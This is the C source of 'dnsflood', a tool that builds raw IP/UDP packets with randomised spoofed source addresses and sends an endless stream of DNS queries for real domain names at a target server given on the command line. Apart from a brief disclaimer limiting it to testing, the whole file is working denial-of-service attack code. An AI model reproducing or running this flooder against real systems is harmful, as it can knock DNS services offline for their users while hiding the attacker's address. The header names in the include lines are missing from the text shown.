/* usage: dnsflood .You must use this program for DNS system security or DNS performance test only. .Any Modify or Reprogram for discomfort target to anyother beyond my willing .evil means no Attach me lyxmoo@msn.com */ #define COUNTMAX 3000 // #include //#include #include #include #include #include #include #include #include #include #include #include #define MAX_FAKE 100 #define ERROR -1 #define TYPE_A 1 #define TYPE_PTR 12 #define CLASS_INET 1 #ifndef IPVERSION #define IPVERSION 4 #endif /* IPVERISON */ #ifndef IP_MAXPACKET #define IP_MAXPACKET 65535 #endif /* IP_MAXPACKET */ #define DNSHDRSIZE 12 struct udphdr { u_short source; /* source port */ u_short dest; /* destination port */ u_short len; /* udp length */ u_short check; /* udp checksum */ }; #ifndef IPVERSION #define IPVERSION 4 #endif /* IPVERISON */ struct iphdr { u_char ihl:4, /* header length */ version:4; /* version */ u_char tos; /* type of service */ short tot_len; /* total length */ u_short id; /* identification */ short off; /* fragment offset field */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ u_char ttl; /* time to live */ u_char protocol; /* protocol */ u_short check; /* checksum */ struct in_addr saddr, daddr; /* source and dest address */ }; #ifndef IP_MAXPACKET #define IP_MAXPACKET 65535 #endif /* IP_MAXPACKET */ #define IPHDRSIZE sizeof(struct iphdr) #define UDPHDRSIZE sizeof(struct udphdr) struct flood_struct { char *str; int query_type; }; struct dnshdr { unsigned short int id; unsigned char rd:1; /* recursion desired */ unsigned char tc:1; /* truncated message */ unsigned char aa:1; /* authoritive answer */ unsigned char opcode:4; /* purpose of message */ unsigned char qr:1; /* response flag */ unsigned char rcode:4; /* response code */ unsigned char unused:2; /* unused bits */ unsigned char pr:1; /* primary server required (non standard) */ unsigned char ra:1; /* recursion available */ unsigned short int que_num; unsigned short int rep_num; unsigned short int num_rr; unsigned short int num_rrsup; }; int udp_send(int s, unsigned long saddr, unsigned long daddr,unsigned short sport,unsigned short dport,char *datagram, unsigned datasize); unsigned short in_cksum(char *packet, int len); void nameformatIP(char *ip, char *resu); void nameformat(char *name, char *QS); int make_question_packet(char *data, char *name, int type); int myrand(int rand_max); void usage(); int main (int argc, char **argv) { struct sockaddr_in src_ip, /* source address */ dst_ip; /* destination address */ u_short src_port, /* source port */ dst_port, /* destination port */ id; /* dns id we are spoofing */ int written_bytes, /* number of bytes written */ packet_size, /* size of our packet */ payload_size, /* size of our payload */ roundcount,tmp,jcounter, /* tmp INT */ sockid; /* socket to write on */ unsigned long s_ip=0, d_ip=0; int nofile=1,static_ip=0,raw_data=0; char namefake[16]; FILE *fp; unsigned char packet[1024],*dnsdata; int arg_options; const char *short_options="f:t:p:vc:s:r:"; const struct option long_options[] = { {"file", required_argument, NULL, 'f'}, {"target", required_argument, NULL, 't'}, {"port",required_argument , NULL, 'p'}, {"version", no_argument, NULL, 'v'}, {"countime", required_argument, NULL, 'c'}, {"static", required_argument, NULL, 's'}, {"help",no_argument,NULL,'h'}, {"raw", required_argument, NULL, 'r'}, {NULL, 0, NULL, 0} }; char *namelist[] ={ "www.google.com","www.ibm.com","www.cisco.com","www.microsoft.com", "www.sta.net.cn","www.sina.com.cn","www.online.sh.cn","www.yahoo.com", "www.163.net","www.china.com","www.oracle.com","www.ebay.com", "www.sohu.com","www.zaobao.com","www.china.com","www.stockstar.com", "www.xinhua.net","www.linux.org","www.xfocus.net","www.linuxtoday.com", "www.sun.com","www.apache.org","www.theserverside.com","www.chinaunix.net", "www.eeye.com","www.ibiblio.com","sf.net","freashmeat.com", "www.pchome.net","www,pconline.sh.cn","www.distrowatch.com","www.planetmirror.com", NULL }; int quit=0; struct dnshdr *dns; const int on=1; struct timeval start0={0,0}; struct timeval t0={0,0}; struct timeval t1={0,0}; char *from, *to,filename; int port=53; int FTIME=0; int itmp=0; int wait_time=0; while((arg_options=getopt_long(argc,argv,short_options,long_options,NULL))!=-1) { switch(arg_options) { case 'f': nofile=0; if (optarg) printf (" Max from %s only 1k query domain", optarg); printf ("\n"); quit=0; break; case 'p': if (optarg) port=atoi(optarg); quit=0; break; case 's': static_ip=1; inet_pton(AF_INET,optarg,&src_ip.sin_addr); s_ip=src_ip.sin_addr.s_addr; break; case 'r': raw_data=1; if (optarg) printf (" Max from %s only 1k query domain", optarg); printf ("\n"); quit=0; break; case 't': inet_pton(AF_INET,optarg,&dst_ip.sin_addr); d_ip=dst_ip.sin_addr.s_addr; break; case 'v': case 'h': printf("\n.EVIL means no attached me v.0.0.1\n\n"); quit=1; break; case 'c': if (optarg) FTIME=atoi(optarg); wait_time=(abs(10-FTIME)>10?10:abs(10-FTIME))*100000; quit=0; break; default: printf("CMD line Options Error\n\n"); break; } } if (quit) usage(); if (!d_ip) { usage(); exit(0); } if ((sockid = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR) { printf("\n%s\n", "network initialization failed\n");exit(1);} if((setsockopt(sockid, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR) { perror("setsockopt"); exit(ERROR); } // inet_pton(AF_INET,argv[1],&dst_ip.sin_addr); // d_ip=dst_ip.sin_addr.s_addr; dst_port = port; src_port = (u_short) 1337+myrand(150.0); dns = (struct dnshdr *)packet; dnsdata = (char *)(packet+DNSHDRSIZE); bzero(packet,1024); dns->rd = 1; /* rd = 1: bind 8 checks this */ dns->que_num = htons(1); /* sending one question (yep) */ // fp = fopen(argv[3], "r"); jcounter=0; gettimeofday(&t0,NULL); start0.tv_sec=t0.tv_sec; start0.tv_usec=t0.tv_usec; while(1) { jcounter++; if ((jcounter-(rint(jcounter/COUNTMAX)*COUNTMAX))==0) { gettimeofday(&t1,NULL); if (t0.tv_sec!=t1.tv_sec) { t0.tv_usec=t1.tv_usec; t0.tv_sec=t1.tv_sec; usleep(wait_time); tmp=t1.tv_sec-start0.tv_sec; printf("Feed target total %d frequency:%d/sec in pasted %d\n\n",jcounter,jcounter/(tmp?tmp:1),tmp);} } // printf("Starting...\n"); if (!static_ip) { sprintf(namefake,"%d.%d.%d.%d",myrand(150.0),myrand(150.0),myrand(150.0),myrand(150.0)); //printf("\t%s\n",namefake); inet_pton(AF_INET,namefake,&src_ip.sin_addr); s_ip=src_ip.sin_addr.s_addr; } dns->id = 6000+myrand(150.0); /* random query id */ dns->qr = 0; /* qr = 0: question packet */ dns->aa = 0; /* aa = 0: not auth answer */ dns->rep_num = htons(0); /* sending no replies */ if(raw_data) { } else{ tmp=make_question_packet(dnsdata,namelist[myrand(31)],TYPE_A); udp_send(sockid,s_ip,d_ip,1337+myrand(150.0),port,packet,DNSHDRSIZE+tmp); } // printf ("src_ip=%x,dst_ip=%x,datasize =%d\n",s_ip,d_ip,tmp); // for (itmp=0; itmp< IPHDRSIZE+UDPHDRSIZE;itmp++) printf("%2x ",packet[itmp]); } exit(0); } unsigned short in_cksum(char *packet, int len) { register int nleft = len; register u_short *w = (u_short *)packet; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } void usage() { printf("\nusage: dnsflood \n"); printf("\n[-s ip.add.x.x static source ip]< -t ip.add.x.x flood target ip><-p # port 53 usually><-f filename querry format string>[-v version]\n\n"); } int udp_send(int s, unsigned long saddr, unsigned long daddr,unsigned short sport,unsigned short dport,char *datagram, unsigned datasize) { struct sockaddr_in sin; struct iphdr *ip; struct udphdr *udp; unsigned char *data; unsigned char packet[4024]; int itmp; ip = (struct iphdr *)packet; udp = (struct udphdr *)(packet+IPHDRSIZE); data = (unsigned char *)(packet+IPHDRSIZE+UDPHDRSIZE); memset(packet,0,sizeof(packet)); udp->source = htons(sport); udp->dest = htons(dport); udp->len = htons(UDPHDRSIZE+datasize); udp->check = 0; memcpy(data,datagram,datasize); ip->saddr.s_addr = saddr; ip->daddr.s_addr = daddr; ip->version = 4; /*ip version*/ ip->ihl = 5; ip->ttl = 245; ip->id = random()%5985; ip->protocol = IPPROTO_UDP; /*protocol type*/ ip->tot_len = htons(IPHDRSIZE + UDPHDRSIZE + datasize); ip->check = 0; ip->check = in_cksum((char *)packet,IPHDRSIZE); sin.sin_family=AF_INET; sin.sin_addr.s_addr=daddr; sin.sin_port=udp->dest; /* scratch IP package for debug printf ("src_port=%x,dst_port=%x,tot_len=%x, datasize =%d\n",sport,dport,ip->tot_len,datasize); for (itmp=0; itmp< IPHDRSIZE+UDPHDRSIZE;itmp++) printf("%2x ",packet[itmp]); for (itmp; itmp< IPHDRSIZE+UDPHDRSIZE+datasize;itmp++) printf("%2c ",packet[itmp]); printf("|||\n"); */ return(sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, (struct sockaddr*)&sin, sizeof(struct sockaddr))); } void nameformat(char *name, char *QS) { char *bungle,*x; char elem[128]; *QS = 0; bungle=malloc(strlen(name)+3); strcpy(bungle,name); x=strtok(bungle,"."); while (x != NULL) { if (snprintf(elem,128,"%c%s",strlen(x),x) == 128) { puts("String overflow."); exit(1); } strcat(QS,elem); x=strtok(NULL,"."); } free(bungle); } void nameformatIP(char *ip, char *resu) { char *reverse, *temp, *x, *comps[10]; int px=0; temp=malloc(strlen(ip)+3); reverse=malloc(strlen(ip)+30); bzero(reverse,strlen(ip)+30); strcpy(temp,ip); x=strtok(temp,"."); while (x != NULL) { if (px >= 10) { puts("Force DUMP:: dumbass, wtf you think this is, IPV6?"); exit(1); } comps[px++]=x; x=strtok(NULL,"."); } for (px-- ;px >= 0; px--) { strcat(reverse,comps[px]); strcat(reverse,"."); } strcat(reverse,"in-addr.arpa"); nameformat(reverse,resu); free(temp); free(reverse); } int make_question_packet(char *data, char *name, int type) { if(type == TYPE_A ) { nameformat(name,data); *( (u_short *) (data+strlen(data)+1) ) = htons(TYPE_A); } /* for other type querry if(type == TYPE_PTR){ nameformatIP(name,data); *( (u_short *) (data+strlen(data)+1) ) = htons(TYPE_PTR); } */ *( (u_short *) (data+strlen(data)+3) ) = htons(CLASS_INET); return(strlen(data)+5); } int myrand(int rand_max) { int j; j=1+(int)((rand_max*1.0)*rand()/(RAND_MAX+1.0)); return(j); }